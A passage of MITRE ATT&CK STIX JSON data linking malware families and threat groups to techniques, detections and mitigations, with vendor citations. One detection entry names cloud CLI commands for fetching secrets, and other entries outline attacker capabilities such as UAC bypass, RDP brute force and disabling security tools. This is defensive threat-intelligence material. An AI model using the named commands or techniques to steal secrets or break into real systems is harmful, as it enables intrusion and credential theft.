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Retrieved July 16, 2020."}], "modified": "2020-07-17T19:22:28.806Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can use fileless UAC bypass and create an elevated COM object to escalate privileges.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c94231d2-5b79-457d-b41c-4a496c173b68", "created": "2022-03-30T14:26:51.853Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for Keychain files being accessed that may be related to malicious credential collection.", "modified": "2022-04-14T22:56:04.630Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", "target_ref": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c945e5f2-5622-46ce-8b35-468d41d2af46", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Moran 2014", "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. 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(2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."}, {"source_name": "PWC WellMess C2 August 2020", "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html", "description": "PWC. (2020, August 17). WellMess malware: analysis of its Command and Control (C2) server. Retrieved September 29, 2020."}, {"source_name": "CISA WellMess July 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b", "description": "CISA. (2020, July 16). MAR-10296782-2.v1 \u2013 WELLMESS. Retrieved September 24, 2020."}], "modified": "2020-09-29T17:39:46.451Z", "description": "[WellMess](https://attack.mitre.org/software/S0514) can decode and decrypt data received from C2.(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)(Citation: CISA WellMess July 2020)", "relationship_type": "uses", "source_ref": "malware--3a4197ae-ec63-4162-907b-9a073d1157e4", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c965212c-f60d-4814-97ce-bbbb83382703", "type": "relationship", "created": "2022-03-30T14:26:51.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.870Z", "description": "Monitor for an extracted list of available firewalls and/or their associated settings/rules (ex: Azure Network Firewall CLI Show commands)", "source_ref": "x-mitre-data-component--bf91faa8-0049-4870-810a-4df55e0b77ee", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c9660ab0-33d4-434d-833f-cc1969b04f7a", "type": "relationship", "created": "2019-01-31T01:07:58.805Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. 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Retrieved July 9, 2019.", "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", "source_name": "Unit42 Emissary Panda May 2019"}], "modified": "2021-10-12T19:21:39.235Z", "description": "[HyperBro](https://attack.mitre.org/software/S0398) has the ability to download additional files.(Citation: Unit42 Emissary Panda May 2019)", "relationship_type": "uses", "source_ref": "malware--5e814485-012d-423d-b769-026bfed0f451", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c96e7dda-d05c-458a-8332-9e7851bb4775", "type": "relationship", "created": "2020-11-10T16:49:12.704Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye KEGTAP SINGLEMALT October 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."}], "modified": "2020-11-10T16:49:12.704Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has acquired credentials from the SAM/SECURITY registry hives.(Citation: FireEye KEGTAP SINGLEMALT October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c973e69a-f07c-470b-a04a-82cd91216c26", "type": "relationship", "created": "2022-01-13T20:02:28.626Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-01-13T20:02:28.626Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48", "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c9747fcc-b249-49cc-8f8b-aad9e89bdc31", "type": "relationship", "created": "2020-07-30T19:23:33.967Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fortinet Metamorfo Feb 2020", "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions", "description": "Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."}], "modified": "2021-10-15T00:45:22.245Z", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has used VMProtect to pack and protect files.(Citation: Fortinet Metamorfo Feb 2020) ", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c9759e33-1cdd-472a-b3fc-f3263f218fdb", "type": "relationship", "created": "2021-06-22T14:28:38.411Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist APT10 March 2021", "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}], "modified": "2021-06-22T14:28:38.411Z", "description": "[FYAnti](https://attack.mitre.org/software/S0628) has the ability to decrypt an embedded .NET module.(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "malware--434ba392-ebdc-488b-b1ef-518deea65774", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c9768a3e-1556-488e-8a9e-55389fd1752e", "created": "2021-11-29T19:10:14.674Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Trend Micro Iron Tiger April 2021", "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[SysUpdate](https://attack.mitre.org/software/S0663) can use a Registry Run key to establish persistence.(Citation: Trend Micro Iron Tiger April 2021)", "modified": "2022-04-16T19:11:23.489Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--c009560a-f097-45a3-8f9f-78ec1440a783", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c97a4bfd-e279-476d-a96b-c00335510a2c", "type": "relationship", "created": "2019-06-24T13:50:29.670Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-29T20:00:47.007Z", "description": "Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization.", "relationship_type": "mitigates", "source_ref": "course-of-action--874c0166-e407-45c2-a1d9-e4e3a6570fd8", "target_ref": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c97d4d74-994a-48eb-8175-5e897c98b99a", "created": "2023-03-21T21:23:37.610Z", "revoked": false, "external_references": [{"source_name": "Cybereason Astaroth Feb 2019", "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-21T21:23:37.610Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) has obfuscated and randomized parts of the JScript code it is initiating.(Citation: Cybereason Astaroth Feb 2019)", "relationship_type": "uses", "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c97e1a14-d6e6-4d62-add5-32680fb8649a", "created": "2023-09-30T20:20:42.297Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-30T20:21:13.080Z", "description": "Monitor for API calls and CLI commands that attempt to enumerate and fetch credential material from cloud secrets managers, such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure. Alert on any suspicious usages of these commands, such as an account or service generating an unusually high number of secret requests.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac", "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c987dc63-ef3d-43aa-9344-bd9fd528c55d", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html", "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. 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Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", "modified": "2022-04-20T03:10:45.911Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f", "target_ref": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c992481b-fe93-416d-b8a3-c5ed752c17f4", "type": "relationship", "created": "2019-03-25T15:05:23.714Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", "source_name": "Talos Olympic Destroyer 2018"}], "modified": "2019-06-30T23:07:54.081Z", "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) utilizes [PsExec](https://attack.mitre.org/software/S0029) to help propagate itself across a network.(Citation: Talos Olympic Destroyer 2018)", "relationship_type": "uses", "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c9932124-c6dd-4c26-a762-bde5be25bed7", "type": "relationship", "created": "2021-03-15T18:56:36.782Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Trickbot Oct 2020", "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."}, {"source_name": "Bitdefender Trickbot March 2020", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf", "description": "Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021."}], "modified": "2021-03-15T18:56:36.782Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses brute-force attack against RDP with rdpscanDll module.(Citation: ESET Trickbot Oct 2020)(Citation: Bitdefender Trickbot March 2020)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c99ee3c6-7d62-4514-bdac-4bf899ea0c16", "created": "2019-05-28T18:49:59.305Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Proofpoint TA505 Sep 2017", "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T17:54:39.906Z", "description": "[TA505](https://attack.mitre.org/groups/G0092) has used a wide variety of ransomware, such as [Clop](https://attack.mitre.org/software/S0611), Locky, Jaff, Bart, Philadelphia, and GlobeImposter, to encrypt victim files and demand a ransom payment.(Citation: Proofpoint TA505 Sep 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c9a1bcec-9a4d-4693-accb-5a6f67b857f6", "type": "relationship", "created": "2020-02-12T18:55:24.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-12T18:55:24.841Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3", "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c9a5f585-541d-4785-9cb4-de9710311176", "created": "2023-02-14T22:37:52.874Z", "revoked": false, "external_references": [{"source_name": "Costa AvosLocker May 2022", "description": "Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.", "url": "https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-14T22:37:52.874Z", "description": "During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors used HTTP for C2 communications.(Citation: Costa AvosLocker May 2022)", "relationship_type": "uses", "source_ref": "campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c9a7b01c-5ba6-41db-944a-ed5ba8531398", "type": "relationship", "created": "2022-02-21T16:24:52.433Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Gamaredon February 2022", "url": "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", "description": "Unit 42. (2022, February 3). Russia\u2019s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}], "modified": "2022-02-21T16:24:52.433Z", "description": "[Pteranodon](https://attack.mitre.org/software/S0147) has the ability to use anti-detection functions to identify sandbox environments.(Citation: Unit 42 Gamaredon February 2022)", "relationship_type": "uses", "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c9a7b725-bdab-4955-a963-b747a406102b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Bankshot", "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}, {"source_name": "US-CERT Bankshot Dec 2017", "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"}], "modified": "2020-03-17T19:04:51.650Z", "description": "[Bankshot](https://attack.mitre.org/software/S0239) uses the command-line interface to execute arbitrary commands.(Citation: McAfee Bankshot)(Citation: US-CERT Bankshot Dec 2017)", "relationship_type": "uses", "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c9aa1bb6-874a-4de6-84c8-e1e9d1d112d0", "type": "relationship", "created": "2020-06-26T16:17:18.188Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2020-06-29T21:37:56.010Z", "description": "[Goopy](https://attack.mitre.org/software/S0477) has used a polymorphic decryptor to decrypt itself at runtime.(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "malware--eac3d77f-2b7b-4599-ba74-948dc16633ad", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c9ad232a-2276-40b2-bf56-490fc6357cca", "type": "relationship", "created": "2019-09-24T13:29:29.705Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos ZxShell Oct 2014", "url": "https://blogs.cisco.com/security/talos/opening-zxshell", "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}], "modified": "2022-01-05T16:34:01.883Z", "description": "[ZxShell](https://attack.mitre.org/software/S0412) has a feature to create local user accounts.(Citation: Talos ZxShell Oct 2014)", "relationship_type": "uses", "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c9b37055-af2b-4ec1-857c-79adfb290d66", "type": "relationship", "created": "2019-06-07T15:11:47.366Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro IXESHE 2012", "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf", "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}], "modified": "2019-06-10T19:29:30.694Z", "description": "[Ixeshe](https://attack.mitre.org/software/S0015) can collect data from a local system.(Citation: Trend Micro IXESHE 2012)", "relationship_type": "uses", "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c9bce6d2-de66-4114-9cf6-2be555c35194", "type": "relationship", "created": "2020-03-09T17:07:57.478Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-08T21:02:16.011Z", "description": "Prevent the creation of new network adapters where possible.", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c9c6986b-e954-4821-b271-f22d50f2284f", "type": "relationship", "created": "2022-03-30T14:26:51.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.857Z", "description": "Use process monitoring to monitor the execution and arguments of msiexec.exe. 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Retrieved August 3, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[APT29](https://attack.mitre.org/groups/G0016) has abused misconfigured AD CS certificate templates to impersonate admin users and create additional authentication certificates.(Citation: Mandiant APT29 Trello)", "modified": "2022-08-03T15:22:22.689Z", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ca1afca5-2f16-497e-bfff-1564706e05f2", "type": "relationship", "created": "2020-05-26T16:17:59.626Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Rocke August 2018", "url": "https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html", "description": "Liebenberg, D.. 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Retrieved June 29, 2020."}], "modified": "2020-06-30T00:39:39.881Z", "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) has attempted to terminate/stop processes and services associated with endpoint security products.(Citation: Sophos Ragnar May 2020)", "relationship_type": "uses", "source_ref": "malware--54895630-efd2-4608-9c24-319de972a9eb", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ca38e574-09b1-4fc3-beb1-2af04189c05d", "type": "relationship", "created": "2020-10-02T14:56:25.034Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-02T14:56:25.034Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262", "target_ref": "attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ca38f31f-3551-49e3-835b-588693a8b512", "type": "relationship", "created": "2020-05-15T13:43:22.758Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist DarkVishnya Dec 2018", "url": "https://securelist.com/darkvishnya/89169/", "description": "Golovanov, S. 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Retrieved February 15, 2018.", "source_name": "Microsoft PLATINUM April 2016"}], "modified": "2019-05-10T12:14:32.158Z", "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has used various methods of process injection including hot patching.(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", 